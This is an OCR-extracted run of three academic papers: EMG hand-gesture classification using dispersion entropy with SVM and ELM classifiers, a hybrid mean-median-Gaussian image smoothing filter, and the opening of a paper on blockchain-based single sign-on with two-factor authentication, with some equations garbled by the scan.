with an average accuracy of 89.4% with the Extreme Learning Machine (ELM) and 94% with the
Support Vector Machine (SVM). Kumari et al. [2] classified the time domain and time scale properties
of EMG signals with SVM to facilitate the life of partly disabled people. In their study, feature extraction
was performed with Wavelet Packet Transform (WPT) method using 303 EMG data obtained from 8
participants between the ages of 18-30. In experimental studies, they calculated with an accuracy rate
of 92.1% in prosthesis lengthening and 90.5% accuracy in flexion (bending the joint) operation. They
also achieved 91.1% classification accuracy for elbow movement that can be used to control any
bidirectional robotic tool. For the classification of physical actions, Sravani et al. [3] made a
classification with ELM after performing feature extraction by dividing into eight sub-bands namely;
Flexible analytical wavelet transform, negative entropy, Mean Absolute Value (MAV), variance,
modified Mean Absolute Value type 1 (MAV1), waveform length, simple square integral and Tsallis
entropy. They achieved the highest performance in all sub-bands and an average accuracy rate of 99.36%
on the seventh sub-band. Ari et al. [4] made use of time frequency representations, Local Binary Pattern
(LBP) of each window by segmenting and gray level co-occurrence matrix methods in order to
distinguish 6 different actions from EMG signals for feature extraction. The extracted features were
classified with Artificial Neural Network (ANN), providing nearly 92% success. Sapsanis [5], used
ELM method to distinguish six basic actions of the hand after eight different feature extraction from
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raw EMG data by decomposing the Surface EMG (sEMG) data set obtained using two electrodes
connected to two specific muscles of the hand into Intrinsic Mode Functions (IMFs) using Empirical
Mode Decomposition (EMD). They classified the actions with an average accuracy rate of 89.2% in
their study. Qi et al.[6], used LDA and ELM methods to reduce unnecessary information in sSEMG
signals in hand gestures recognition and to increase recognition efficiency and accuracy. In the study,
firstly, features were extracted from EMG signals by root mean square, waveform length, and median
amplitude spectrum methods. Then, these high dimensional features were reduced by using LDA and
applied to the ELM classifier. They also established an accuracy rate of 79.32% by optimizing the initial
conditions and thresholds of the network with the genetic algorithm to increase the ELM performance.
Chaya et al. [7] tried to recognize the movement of the arm with SEMG signals received from the elbow
and wrist parts of the arm with a real-time application. After extracting features from EMG signals with
methods such as Average Absolute Value (AAV), variance, standard deviation, Root Mean Square
(RMS), Power Spectral Entropy (PSE), average frequency, they achieved 93.3% success with SVM in
the classification of both elbow and wrist positions. Ari et al. [8] conducted feature extraction using
Permutational Entropy (PE) and LBP methods to classify 6 different hand gestures. The features were
classified with SVM after being normalized with zero-unit variance. In the experimental studies, an
average of 93.1% performance was achieved in six hand movements. Tuncer et al. [9] utilized k-Nearest
Neighbor (k-NN) methods for triple pattern, Discrete Wavelet (DWT) based feature extraction and
classification using EMG signals for the control of prosthetic hands of amputated people. In
experimental studies using an EMG data set with 3 strength levels (Low, Moderate, High) collected
from amputated volunteers, hand movements for low, moderate, and high strength levels were
determined with accuracy rates of 97.78%, 93.33%, and 92.96%, respectively. They also achieved a
classification performance of 99.14% for all strength levels. Turlapaty et al. [10] features obtained from
different methods such as interchannel time statistics, spectral moment ratios, spectral band strengths,
and local binary model based statistics from multi-channel EMG data were classified by k-NN and
probabilistic neural networks. In experimental studies, they achieved an accuracy rate of 92.7% with
probabilistic neural networks and 93.9% k-NN. Algin [11] extracted features from EEG signals using
Fractal Detrended Fluctuation Analysis (F-DFA) and non-overlapping window Root Mean Square
(w-RMS) methods. These features are classified using methods such as SVM, k-NN, LDA and decision
trees. In the experimental studies, they achieved 96.83% success.

In this study, it is aimed to define some basic hand gestures using the three-channel sSEMG data set. In
the proposed method, Dispersion Entropy (DisEn) and Normal Cumulative Distribution Function
(NCDF), which have never been used in feature extraction from EMG signals before, are used for feature
extraction. Using linear mapping in feature extraction with DisEn in time series, sometimes the
maximum/minimum values of the time series might be smaller or larger than the mean/median values
of the signal. This might cause the signal to be assigned only a few classes. To eliminate this situation,
NCDF is used in feature extraction. An increase is observed in classification performance by combining
DisEn and NCDF features of each channel. Comparing the performance of SVM and ELM methods,
which are commonly preferred for classification in the proposed method, higher success was obtained
with SVM.

The rest of this work is organized as follows. Dataset, Feature extraction, and classification methods are
described in the second chapter. In the third chapter, experimental studies and results are explained in
detail. In the last part, the results of the proposed study are discussed.

2. Material and Method

In this section, the methods used for the data set, feature extraction, and classification are described in
detail.

2.1. Data Set

The EMG data set includes movements of five healthy participants, three of which are female, to hold
and grasp different objects with the surface electrodes attached to the forearm. Participants performed 6

326



Sakarya University Journal of Computer and Information Sciences

Muzaffer Aslan

different hand gestures, including holding a heavy load (hook), holding an object facing the palm (palm),
holding a thin flat small object (lat), holding a spherical object (spher), holding a small object with the
fingertips (tip), and holding a cylindrical object (cyl). For each movement, 100 measurements with three
channels were recorded and each channel contains 2500 samples. Figure 1 shows the six hand
movements of a participant and the signal of each channel of these movements. Also, the data set
consists of 600 signals in total, and a 15-500Hz bandpass filter and 5S0Hz notch noise canceling filter

are used for each signal [5].

Hand Gesture CH1

CH2 CH3

y

."l \n
keo\ Ll |
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o 500 1000
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2000 2500 0 500 1000 1500 2000 2500 o 500 1000 1500 2000 2500
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Figure 1 Six hand movements and channel signals of each movement

2.2. Method

In this study, a new DISEn-based method is presented to detect simple hand movements from EMG
signals. Figure 2 demonstrates the structure of the suggested method. In this method, feature matrix is
obtained by extracting the features with DisEn and NCDF and combining them in raw EMG signals of
each channel. Then hand gestures were classified by classifying these features with SVM and ELM.
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Figure 2 Structure of suggested method
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2.2.1. Dispersion Entropy

Entropy is one of the substantial methods preferred to evaluate the dynamic properties of time series.
Entropy was introduced by Shannon in 1948 to describe a measure of uncertainty or disorder in data
theory [12]. This concept can also be defined as the regularity quantification of a system or time series
using the probability distribution of situations. Although there are many entropy methods, those such as
Permutation Entropy (PEn) and Sample Entropy (SEn) are widely used to measure the irregularity of
signals on a temporal scale [13]. Thus, although both methods have widespread use in biomedical signal
and image processing applications, SEn is not fast enough for some real-time applications and long-
term signals. In addition, the fact that PEn does not take the differences between the average value of
the signal amplitudes and the amplitude values into account stands out as the most important limitations
of these methods [14]. Recently, the DisEn method has been recommended to overcome the limitations
of these methods. The DisEn method is used more in biomedical applications since it is also sensitive
to frequency changes and the calculation time is very short [15].

Suppose we have an N-dimensional time series with a single variable as shown x; = {x1, x5, ..., Xy} .
The DisEn algorithm follows the following processes for the analysis of this signal [15][16];

a. It first matches the time series with the mapping function that calculates and uses mean and standard
deviation values of the time series.

b. Class numbers (nc) are matched to the signal obtained by distributing it along the amplitude range.
Each sample is transferred to the nearest relevant class depending on the amplitude. Linear and
nonlinear mapping approaches are used for this processing. Although linear mapping algorithms are
fast, the maximum / minimum values of the time series can sometimes be much smaller or larger
than the mean / median values of the signal. In this case only a few classes of signal are assigned to
any class. This causes a lot of data to be assigned to any class. To solve this problem, first the time
series x; NCDF is used to obtain a signal y; = {y;,¥, ..., ¥y} With a value between 0 and 1. Then,
each y; is removed by assigned to an integer from one to nc, which is the class number, with the
linear mapping algorithm.

mmnc ni

c. Based on embedding size (m) and time delay (d) y™"° = {y]*’, y/¥s, + -+ yin_f(m_l)d} and
i=1,2,..,N—(m—1)d, each time series is matched to its distribution model. The number of
potential distribution patterns is yim e

d. The relative frequencies for the potential distribution models for each nc™ are obtained and the

DisEn value of the time series is calculated with the help of Eq. (1) depending on the Shannon
definition of entropy.

nc™
DisEn(x,mne,d) = " P(Togn, y) P, ) (M
=1
Here p(Tyyp, . v, ,) shows the total number of distribution models. For detailed information about the

method [12], [15] can be examined. In this study, NCDF obtained while calculating DisEnt is thought
to have a distinctive feature. Thus, nc™ number of features are obtained from one EMG signal.

2.2.2. Support Vector Machine

SVM is a supervised learning algorithm frequently preferred for linear and nonlinear data classification
[17]. Its basic structure is to find the best hyperplane that will provide the maximum margin among the
output classes. Suppose the data set is D = {(xq,y1), (x2,¥2), --., (X, yn)}. Here, x,, € R defines the
number of elements of the data setnand y, € {—1, 1} defines the class labels of x,, [18]. Accordingly,
the decision function that will find the best hyperplane can be written as in Eq. (2).

yo(WTx, +b) =1 (2)
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Here w defines n-dimensional weights and b defines the threshold value used to determine the
hyperplane position. However, in order to find the best hyperplane with the decision function in Eq. (2),

2
the maximum distance calculated with d = max(m) should be minimized min@ [19]. Also,

equation 2 can be valid if the given and predicted answers have the same sign. The fact that given and
predicted answers have different signs, which is a significant problem for SVM, can be solved with
Lagrange optimization given in Eq. (3) [20].

N N

1
L@ =) an=3 D G ayuykGhy)) )
n=1 n,j=1

Here, k(yn, y;) shows kernel function and a; shows Lagrange multiplier.

2.2.3. Extreme learning Machine

ELM is a learning algorithm for single-hidden layer feedforward networks [21], [22]. In ELM, input
weights and hidden layer threshold values are started randomly and maintained stable. In addition, Since
the output weights are calculated analytically, it has a fast learning process. ELM calculates the output
weights with a simple linear equation. Output weights can be found by Eq. (4).

Y=H-B 4)

Here, Y is real output value, H is matrices of weighted inputs includes activation function step and f is
the desired output weights vector [21, 22]. ELM is commonly used as it exhibits better generalization
performance compared to conventional feedforward networks. For more detailed information about the
ELM method, see [22].

3. Experimental Study and Results

In the study, NCDF approach, which was not used in feature extraction from EMG signals before, and
DisEn were used in feature extraction. Experimental studies were tested with a 3 channel EMG dataset,
consisting of 600 records and containing six basic hand movements. In the suggested method, DisEn
and NCDF parameters are calculated as distinctive features. Motion estimation was made by applying
these features to SVM and ELM classifiers. 10-fold cross-validation was used to demonstrate the
validity of the method in all experimental studies. The experimental study was conducted in three steps.
First, with DisEn only, a total of 600x3 feature matrices were calculated, 600x1 for each channel. The
classification accuracy of hand movements depending on these features and m and nc values can be seen
in Figure. 3.

DisEn

7 - I I .
| -3 -4 [ =S |

76

533 —

Accuraey

nc=3 nc=4 nc=5 nc=6
Number of Class

Figure 3 Hand gestures recognition achievements of DisEn features according to the number of classes
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As seen in Figure 3, the highest performance was obtained as 75.23% for m=5 and nc=5 values. The
closest values to this success were obtained for nc=3, m=4 and nc=6, m=5 values. In the second phase,
motion estimation has been made for each channel with NCDF features. At this stage, the classification
performance of hand movements depending on the m and nc values is shown in Figure 4. As seen here,
the highest performance achieved was 97.17% for m=5 and nc=3 values. In the first two stages, the
results of the SVM classifier are given due to its performance. It is also seen that NCDF features are
more distinguishing for EMG signals compared to the DisEn method. By using the nc and m values that
provide the highest performance with experimental studies, (nc™=3°) 243 features are obtained for each
channel.

nedf
C_ =y r=y P&

100

99

98
97.47

©
()

95

Accuracy

94

93

92

91

90
nc=3 nc=4 nc=5 nc=6
Number of Class

Figure 4 Hand gestures recognition performance of NCDF features according to the number of classes.

In the last experimental stage, a 600 x 244 feature matrix was generated by combining the features of
each channel (600x1 with DisEn and 600x243 with NCDF) in two previous experimental studies. A
total of 600x732 feature matrix is obtained for three channels. In the third stage, confusion matrix and
the highest performance were taken into account, and nc=3 and m=5 values were used. Also, the
individual and combined features are evaluated with the ELM classifier in this stage. The individual and
combined performance results of the calculated features are given in Table 1.

Table 1 Hand gestures recognition performance of NCDF features according to the number of classes.

Method Accuracy (%)

SVM ELM
DisEn 75.1667 57.3333
NCDF 97.1700 95.3333
DisEn+NCDF 98.0000 96.6667

As shown in Table 2, the SVM classifier produced better results compared to ELM. The combination
of DisEn and NCDF features from Table 1 made positive contributions to overall performance. The
confusion matrix of DisEn + NCDF and SVM model because of the highest performance is given in
Figure 5.

As seen in Figure 5, the lowest performance with 93% was obtained in the action of holding
the palm facing the object (palmar). While 99% performance was achieved in holding small
objects and holding cylindrical objects with fingertips, the highest performance was achieved
as 100% in heavy load holding and spherical object holding actions. Seven of the actions of
holding the palm with the palm facing the object with the lowest performance were incorrectly
classified as holding a flat object. In addition, the performance of the suggested method and
comparative results of the methods using the same data set are given in Table 2.
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Figure 5 Proposed method confusion matrix

When Table 2 is examined it is seen that there is a performance between 80% and 96.833% for
the EMG data set. The suggested method has approximately 1.16% better accuracy than the
method with the highest success in the literature. The comparison results show that the proposed
method can be used effectively in classifying EMG signals.

Table 2. Comparison of the proposed method to the methods using the same data set

Method Accuracy (%)
Sapsanis et. al. [5] 80.000
Ar et. al. [4] 90.000
Ari et. al. [8] 93.167
Algin O.F. [11] 96.833
Suggested Method 98.000

4. Discussion

In this study, a new method based on feature extraction by NCDF, which has never been used
in feature extraction from EMG signals before, is suggested. In order to increase the
performance of the DisEn method, which is frequently used in obtaining the distinctive
properties of biomedical signals, its suitability for the classification of EMG signals in
combining them with NCDF features has been studied. In the studies conducted with the data
set involving six basic hand gestures, approximately 22% better classification performance was
achieved in the classification of NCDF features compared to the classification of DisEn
features. When features of both methods are combined, hand movements were detected with
98% success. Compared to existing methods with the same data set, the method has
approximately 1.16% higher success than the best study available in the literature. Considering
the results of the study, it shows the usability of the suggested method in biomedical
rehabilitation, prosthesis, and robotics applications. As a future study, we could focus to
implement the proposed method in embedded devices.
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Abstract

Today, with the rapidly advancing technology, the importance of image processing techniques is increasing. Image
processing is used in many areas from facial recognition to plant disease identification. One of the important image
processing stages is the filtering stage used for smoothing images and object detection. Among these filtering
techniques, basic filtering techniques such as mean, median and Gaussian are used in image processing. However,
these filtering techniques are known to be insufficient to achieve the desired results in some cases. In this study, a
new hybrid filtering approach named Mean-Median-Gaussian (MMG) is presented using these three basic filtering
techniques. It has been demonstrated that the obtained MMG hybrid algorithm gives more successful results than
these three basic filtering techniques in smoothing the images and determining the boundary lines.

Keywords: Image Processing, Filters, smoothing methods, Drawing Contour, MMG

1. Introduction

Image processing is a method used to extract useful information from the image by converting the
recorded image to digital form and then processing it [1, 2]. Image processing takes place electronically
using computers, software and various algorithmic approaches [3]. Image processing involves three
steps [4]. The first step is to transfer the image to electronic media with various devices such as an
optical scanner and digital photography. In the second step, the transmitted image is improved, analysed
and processed to reduce the noise. The last step is the output step where the image is ready for use [5].

The concept of image processing first began with the digitization of newspaper images sent by the
submarine cable in the 1920s [6]. In a space conference in 1961, the idea of digital light-sensing was
proposed and a panel with the proposed logic was produced in 1968. In 1975, the first digital camera
was invented by Steven Sasson [7]. The majority of the research done in the field of digital image
processing was carried out in the 1960s at the Jet Propulsion Laboratory, Massachusetts Institute of
Technology, Bell Labs and the University of Maryland. With the development of technologies, the
potential in the field of digital images has also increased.

The image used in image processing must first go through the image pre-processing stage. Image pre-
processing is a step that directly affects the performance and quality of the process [8]. In the image pre-
processing phase, many different techniques are applied to improve the image for reducing the noise
and noise ratio [9]. One of the most used techniques in the image pre-processing stage is filtering
processes. In the filtering process, it is possible to interpret the image more easily by enabling the
distinction between physical properties to be clarified or eliminated thanks to the different effects given
to the image [10, 11]. Image smoothing filters are used to minimize colour differences in the image and
highlight sparse structures [12]. Smoothing is an essential process for many computer vision
applications [13]. In algorithms with image smoothing, gradient size is generally used as a hint [ 14].

In this study, a new hybrid filtering approach named Mean Median Gaussian (MMG), which is the
combination of mean, median and Guassian filtering methods is presented. In this filtering approach, a
new hybrid filtering technique named MMG is presented by using median, mean and Guassian basic
smoothing filtering techniques. These four filters were applied to the same image and their performance
was compared to show that the performance of the hybrid filtering technique was more successful than
the other three filtering techniques.
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2. Materials and Methods

It was stated that the MMG hybrid filtering technique used in this study was created by the combination
of mean, median and Guassian filtering techniques. For this reason, detailed information about mean,
median and Guassian filtering techniques is given below. In the method section, the working method of
the MMG hybrid algorithm is explained in detail.

2.1. Materials

The structures of mean, median and Guassian filtering methods that form the structure of the MMG
hybrid filter are examined in detail in this section.

2.1.1 Median Filter

Median filtering is a nonlinear smoothing filter and is used to remove unwanted noise in the image [15].
First, a kernel matrix is created on the image so that smoothing can be performed with the median filter.
The pixel value in the centre of the kernel is replaced by the median pixel value obtained by sorting the
density values of the kernel pixels neighbouring to the central pixel. Thus, with the median filtering
process, the noise-containing pixels are replaced by the median value of the neighbours. The
mathematical expression of the median value calculation applied to the pixels is given in Equation 1
[16].

(D

{Mi(k+1)/2 kis odd }
Median(M) = Med{M;}

1/2 [Mi(k/2> + Mi(k/2> + 1] k is even

In Equation 1, My, M,, M3, ..., M}, is the index of neighboring pixels. Before filtering, the pixels in the
image are sorted and the median value is selected. The median filter may be insufficient to remove high-
density impulse noises. For this reason, with the development of the standard median filter (SMF)
method; different types of the median filter are proposed, such as the adaptive median filter (AMF), the
weighted median filter (WMF), the adaptive weighted median filter (AWMF), the fast and efficient
median filter (FEMF), and the noise adaptive fuzzy switching median filter (NAFSMF) [17]. AMF
determines the window size based on the noise intensity for identifying and removing defective pixels.
Determining the size of the filtering window greatly affects the filtering performance [18]. WMF
suppresses noise intensity, noise reduction and image restoration by preserving the details of the image.
AWMF defines a pixel as noise if its level is not between the maximum and minimum grey levels
suitable for the filtering window. The pixel defined as noise is replaced with the average of the normal
pixels in the filtering window. If the filtering window does not have a normal pixel, AWMF increases
the window size [19]. FEMF uses previous information to get the original pixels in the restoration
process. It detects noises quickly, intuitively, without iteration, and only improves the pixels that contain
noise, without changing other pixels. NAFSMF uses histogram of the distorted image to identify noise
pixels. With the obtained information, it performs fuzzy reasoning to eliminate the uncertainty caused
by noise [17].

2.1.2 Mean Filter

Mean filter is a sliding window based spatial filtering method used for image smoothing and reducing
or eliminating noise in the image. In the mean filter method, the value of the centre pixel in the window
is found by taking the average of the neighbouring pixel values. The window size determines the number
of neighbour pixels to be averaged. The mathematical equation given in equation 2 is used for the spatial
filtering response at any (i, j) point of the image by shifting the window on neighbor pixels [20].

ulijl = - TR X flk ] ©)
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The M value in the equation refers to the number of pixels used in the calculation, the k and [ values
represent the location of these pixels.

2.1.3. Gaussian (Smoothing / Blurring) Filter

The Gaussian filter is a low-pass filter commonly used in image processing applications to remove detail
and noise in the image. Using the Gaussian filter, smoothing and blurring are applied on the image to
remove the noise and improve the image quality [21-22]. With the Gaussian filtering method, various
image/video processing applications such as edge detection, image blurring and mosaicization are easily
performed [21]. The general mathematical expression of the Gaussian filter is given in Equation 3, and
the mathematical expression of the Gaussian filter for two-dimensional images is given in Equation 4
[23].

G(x) = — e 202 3)
1 _xP+y?
6(x,y) = o 50k )

where G (x,y) represents gaussian filter value, x and y represent row and columns and ¢ is the standard
deviation of the Guassian distribution. Standard deviation plays an important role in the behaviour of
the Gaussian function [23].

2.2. Methods

In this study, the method shown in Figure 1 was used. First, a kernel matrix size was determined by
using a sample image. In the method part of the study, a 3x3 kernel matrix is used as an example. With
this kernel, matrix size mean, median and Guassian filters were applied on the sample image. The
resultant vectors of the same pixels from the images which mean, median and Guassian filtered are
applied were calculated and a single image was obtained. The normalization process on the image
obtained by taking the resultant vectors was done using the mathematical equation given in equation 5.
Using this equation, the normalization was performed by calculating the resultant vector of the pixel
values corresponding to the three filtering methods.

(Meani,j)z +(Mediani,j)2 +(Gaussiani,]-)2

MMG;; = 255 A )

Max(MMGj )

In the equation, MMG represents the new image that has been softened by filter and Max (MMG; ;)
represents the maximum pixel value obtained from the resultant vector before normalization. The results
obtained using a sample image to test the performance of the MMG hybrid filter are given in the research
findings section.

3. Research Findings

The performance of the MMG filter used in the study was evaluated according to the histogram and
edge detection/segmentation image processing methods and the following findings were obtained.
Firstly, mean, median and Guassian filtering methods with 5x5 kernel matrix were used on an image for
smoothing and noise removal processes. The results of these transactions are given in Figure 2.
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Figure 2 (a) original image, (b) mean filter applied image (c) median filter applied to image (d) Guassian filter
applied image

When the images in Figure 2 are examined, it is seen that the results obtained from three different filter
methods applied to the sample image are close to each other. Histogram curves of mean, median and
Gaussian filters are given in Figure 3.
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Figure 3 (a) Histogram curve of mean median and Guassian filters (b) Enlarged view of the 10 to 50-pixel range
of histogram curve of mean, median and Guassian filters

The histogram curve of the entire image is given in Figure 3 (a). However, due to a large number of
black pixels, a sample area with a change on the histogram curve is enlarged in order to examine the
graphic in detail and enlarged image is given in Figure 3 (b). When Figure 3 (b) is examined, it is seen
that mean, median and Guassian filtering methods give similar results. It is seen that the applied mean,
median and Guassian filtering methods do not achieve the desired smoothing result on the image.

To obtain the desired softening results, image softening was performed using the mathematical model
given in equation 5 in MMG hybrid filtering method. In Figure 4, the image obtained from MMG hybrid
filter is given.
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Figure 4 MMG filter applied image

When Figure 4 is examined, it is seen that the results obtained from MMG hybrid filter are more
successful than the results obtained from mean, median and Guassian filters in Figure 2. It is seen that
the results obtained from the MMG hybrid filter are more pronounced and there is a sharp transition
between the pixels compared to the results obtained from the other three filtering methods. For example,
the values of the black or white pixels in the MMG hybrid filtered image appear to be sharper than the
black or white pixel values obtained in the other three filtering methods. In Figure 5, histogram curves
of mean, median, Guassian and MMG filters are given.
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Figure 5 (a) Histogram curve of mean, median, Guassian and MMG filters (b) Enlarged view of the 10 to 50-
pixel range of histogram curve of mean, median, Guassian and MMG filters.

The histogram curve of the entire image is given in Figure 5 (a). However, due to the large number of
black pixels, a sample area with a change on the histogram curve is enlarged in order to examine the
graphic in detail and enlarged image is given in Figure 5 (b). As mentioned before in Figure 5 (b), it is
seen that mean, median and Guassian filtering methods give similar results. However, in the results
obtained with MMG filter, it is seen that pixel distribution is more suitable. Since there is a sharper
change between pixel values in MMG filtering method, it is thought that this method will give more
successful results in image processing methods such as edge detection, segmentation and object
detection.

MMG filtering method was used to determine the edges on the image and the following findings were
obtained about its performance. First of all, using the 5x5 kernel matrix, object edge detection was
performed on the image with mean, median, Guassian and MMG filters. The results of these processes
are given in figure 6.
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Figure 6 Edge detection of objects using (a) Mean filter (b) Median filter (c) Gaussian filter (d) MMG hybrid
filter

When Figure 6 is examined, it is seen that edge detection with MMG method is more successful than
mean, median and Guassian filtering methods and it also eliminates the effect of the noise in the image.
Therefore, it has been determined that MMG hybrid filtering method is more successful in both edge
detection and noise reduction than mean, median and Guassian filtering methods. Masked object edge
detection images are given in Figure 7.

Figure 7 Masked object edge detection image of (a) Mean filter (b) Median filter (c) Gaussian filter (d) MMG
filter

When Figure 7 is examined, it is seen that MMG filtering method gives more successful results than
mean, median and Guassian filtering methods.

4. Conclusions
Today, with the rapid development of technology, image processing techniques have started to be used

frequently in many fields. In this study, a new hybrid filtering method, which is an alternative to mean,
median and Guassian basic image processing filtering methods, is presented. This method is based on
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the results obtained from mean, median and Guassian filtering methods. In this method, the MMG
hybrid filter was created by calculating the resultant vectors of the results obtained from mean median
and Guassian filters. In order to convert the created image to a 1-byte unsigned integer (uint8) format,
normalization was performed by dividing it by the maximum pixel value in the image and multiplying
by 255. The following results were obtained by comparing the designed MMG hybrid filter with mean,
median and Guassian filtering methods for histogram and edge detection.

Firstly, in the comparison made according to histogram curves; It has been determined that MMG hybrid
filter gives more suitable results than mean, median and Guassian filtering methods both on image and
on histogram curves.

The second performance test of the MMG hybrid filtering method was carried out for edge detection
and segmentation image processing methods. It has been observed that MMG hybrid filtering method
gives more successful results in edge detection compared to mean, median and Guassian filtering
methods.

It is thought that the MMG filter presented in this study will be a hybrid filtering method that can be
used in the literature for more stable image softening in basic image processing and filtering methods.
Also, we aimed to improve the newly developed hybrid filtering method by using different methods and
optimization techniques in future academic studies.
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Abstract

Today, many services are provided through web applications and the number of these applications is increasing
rapidly. Nowadays, most users use their username and password to login to web applications. Many of these users
also use the same login information in different applications. This causes a major security vulnerability for
applications and users. As a solution to these weaknesses in the field of authentication, there have been many
developments in recent years. Some of these studies have been third party identity authentication systems like
Google and Facebook. Since this method also contains potential risks, studies have been conducted on the Two-
Factor Authentication (2FA) method for more security. In parallel with the innovations that emerge every day,
methods should be used in the field of authentication. In these times, blockchain technology offers solutions that
make life easier in many areas thanks to its distributed, transparent, secure and immutable structure. In this study,
blockchain based single sign-on (SSO) authentication system was developed and implemented for web
applications. In this system, a public address and a private key are defined on the private blockchain network for
users and this information is used for the 2FA method through the developed mobile application. Detailed
information was given about the proposed system and technologies used in the study.

Keywords: blockchain, identity authentication, two-factor authentication (2FA), single sign-on (SSO),
software development

1. Introduction

With the rapid development of internet technologies, many applications and services have started to
serve on the web platform. Users can sign up for many applications and login to them with their own
username and password. Users usually reuse the same credentials in order to login different applications
and two-thirds of them since it is easy to memorize [1]. Although this situation provides great
convenience to users, it poses a potential security risk for them and web applications as well. If an
identity authentication mechanism can be implemented to be used by different applications together
rather than being used by each application separately, each application does not need to manage own
authentication task. This provides great convenience for both applications and users [2].

Identity authentication, which refers to authenticating user's real identity on the internet, plays an
important role in protecting information security [3]. Thanks to recent advances, users can access to
applications through third party identity authentication systems such as Google and Facebook. These
centralized solutions have serious problems such as security challenges, single point of failure and poor
transparency. Moreover, traditional authentication applications, like ones in which only username and
password are used, have become open to threats today. One of the most appropriate solutions may be
applied against to these threats is to use 2FA methods. To overcome these challenges, a blockchain-
based SSO authentication system has been developed for web applications. Distributed, transparent,
secure and immutable network of the blockchain has been utilized to effectively manage technologies
such as SSO and 2FA.

In this study, a private blockchain system was established with the MultiChain [4] and a node was
defined for each web application. It was aimed for users to be able to securely login to applications in
the blockchain network with a single account without need for any third party verifier. Since each node
in private blockchain is considered reliable, one node can safely access the data of the other nodes.
Thanks to this feature of the blockchain, it was possible to provide SSO authentication for users for
multiple applications.
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In the private blockchain network, each user can create a public address and private key. At the time of
creation, the private key is displayed to the user as QR code. At this stage, users can pair their private
keys with the developed mobile application and then use these keys for 2FA through the mobile
application. Considering the combination of these new and popular technologies and the shortcomings
of similar studies in the literature, it can be said that this study is unique.

The remaining sections of this paper explain the following. Section Il summarizes research related to
the blockchain technology, identity authentication, MultiChain and 2FA. Section Il describes the
proposed blockchain based SSO authentication system for web applications.

2. Background and Related Works

2.1 Blockchain

For the first time, blockchain technology, which has become known and popular thanks to cyrpto
currencies, has recently received great attention from various international organizations, industries and
institutions. The number of blockchain-based solutions has increased rapidly in many different domains
in recent years. Thanks to its solutions and features, blockchain has even been expressed by some
researchers as more powerful technology than the Internet [5]. In the report published by Allied Market
Research, it was stated that the blockchain market was $228 million in 2016 and could reach $5.4 billion
by 2023 [6]. According to Nakamoto, the blockchain is a distributed data structure in which each
transaction information is recorded and shared by the participants in the network [7]. Reyna et al. defined
the blockchain as a distributed, transparent, unchangeable and secure data structure where the
stakeholders in the network verify the reliability of transactions [8]. There are many similar blockchain
definitions in the literature, from a technical point of view, it would be correct to define blockchain as a
combination of decentralization mechanism and also a combination of cryptographic algorithms and
distributed databases [9]. According to Zhao et al, the most important feature of Blockchain is the
support of reliable and transparent operations through network-based calculations rather than people's
monitoring or controlling [10]. The advantages of the blockchain can be listed as follows [11].

e A copy of the data is recorded by all stakeholders and everyone can access the data transactions.
Data loss and destruction are prevented by this way.

e Thanks to digital signatures and verifications, it is ensured that the stakeholders can trust each
other without any need for third party agents.

e Everyone is able to see the status of its transactions as well as the details of all transactions in
the blockchain which ensures transparency.

e The data on the blockchain cannot be changed or deleted.

o It can work without a central authority and it cannot be controlled, canceled or closed by its
distributed structure.

The existing blockchain systems are classified into three categories as public, private and consortium
blockchain. Public blockchain offers an open platform that allows everyone to participate, write and
mine. These blockchain systems do not have any restrictions and also referred as unauthorized
blockchain. Private blockchain, which is managed by a person or a group, provides sharing and data
exchange between one or several organizations. Consortium blockchain can be defined as a partially
private and permissible blockchain where a predetermined set of nodes take the place of a single
organization in verification and consensus processes [9].

2.2 MultiChain

Because of the advantages of the support of such an API for many programming languages, ease of use,
performance and documentation, it has been influential in our choice of MultiChain as a blockchain
application. MultiChain is a private blockchain protocol that manages the access to data using a list of
registered participants [4]. Only registered participants have access to read and write blocks in the chain.
The consensus method used by MultiChain is the Round Robin (RR) scheduling algorithm. The RR
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algorithm states that each block must have a signature from the participant who intends to create it.
Adding multiple assets issuance and data streams (key-value databases) are provided by MultiChain.
Data streams can be considered as a database like NoSQL with separate permissions isolated from the
entire blockchain. A small piece of text or 64 MB binary data can be stored on the data stream [12].

2.3 Two Factor Authentication

Traditional single-factor authentication such as *‘username + password’’” has been used widely because
it is easy to deploy without additional devices. However, this method is vulnerable to dictionary,
snooping and brute force attacks [13]. This traditional method was effective when the internet and web
applications were not widespread as current. Nowadays, it is possible to access passwords of users with
the help of trojans' ability to monitor the keyboard or network attacks. As a solution, 2FA methods have
been widely used with high security requirements in recent years [14]. In addition to text data such as
password or code, 2FA also uses encrypted data created instantly via smart cards or mobile phones.
Users need to verify this code or encrypted information in a very short time with hardware support.
Google Authenticator [15] and LastPass [16] are examples of commonly used 2FA applications.

2.4 Blockchain Based Identity Authentication

Today, many services are provided via the internet and identity authentication is very important for
service providers. As known, there are many problems in the current identity management systems. For
example, many service providers are dependent on third party authentication providers that have been
used in recent years and these providers can access user information and services. However, it may be
exposed to various network attacks regardless of being a third-party authorized login or a traditional
login with username and password, [17]. To overcome these problems, if blockchain is used for identity
authentication, the following facilities can be provided.

¢ Thanks to the decentralized feature of the blockchain, service providers do not require any
trusted central authority.

e The data on the blockchain is tamper-proof, which also prevents some illegal activities.

o If the service providers are allowed to participate in a private blockchain with permissions,
users can access these services with a single account. This makes account management easier
and more effective for users.

e Thanks to the public - private key features in the blockchain, users can send their identity
information by encrypting it with their own private key instead of sending it directly to service
providers.

The authentication technology based on blockchain has been a topic that has been studied by researchers
in recent years [1], [18]. For the first time in 2014, Conner et al. proposed a blockchain public key
infrastructure (PK1) system called Certcoin to solve some security problems [19]. Due to the transparent
structure of blockchain, there were problems with user privacy in this solution. Then a privacy-
awareness blockchain PKI, which achieve user anonymity through short term online public keys, was
designed by Axon and Goldsmith [20]. In this study, storage and efficiency were neglected while user
privacy was ensured. In the following years, the development of blockchain technology, improvements
in performance and storage problems and the use of smart contracts made a significant contribution to
the authentication process.

When the literature is analyzed, many blockchain-based authentication and authorization studies for
Internet of Things(loT) devices can be seen. The studies conducted by Jiang et al. [18] and Khalid et al.
[21] can be given as an example to these studies. The number of studies conducted for web applications
in this field is limited. One of the few current studies in this area was presented by Ezawa et al. in 2019.
In this study, it is ensured that identity authentication is performed more securely using blockchain-
based PKI structure and smart contracts through a verification and authorization server [2]. In this study,
the web user needs to enter information such as public key certificate, random number and signature on
the login screen, which can be considered extremely inappropriate for data security and ease of use.
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Xiong et al. proposed a privacy-awareness authentication system for the multi-server environment in
order to prevent single-point failure problem due to the centralized architecture [1]. The offered system
provides a defence against various kinds of malicious attacks besides multiple security requirements
like mutual authentication and user anonymity. The solution proposed in this study is a theoretical
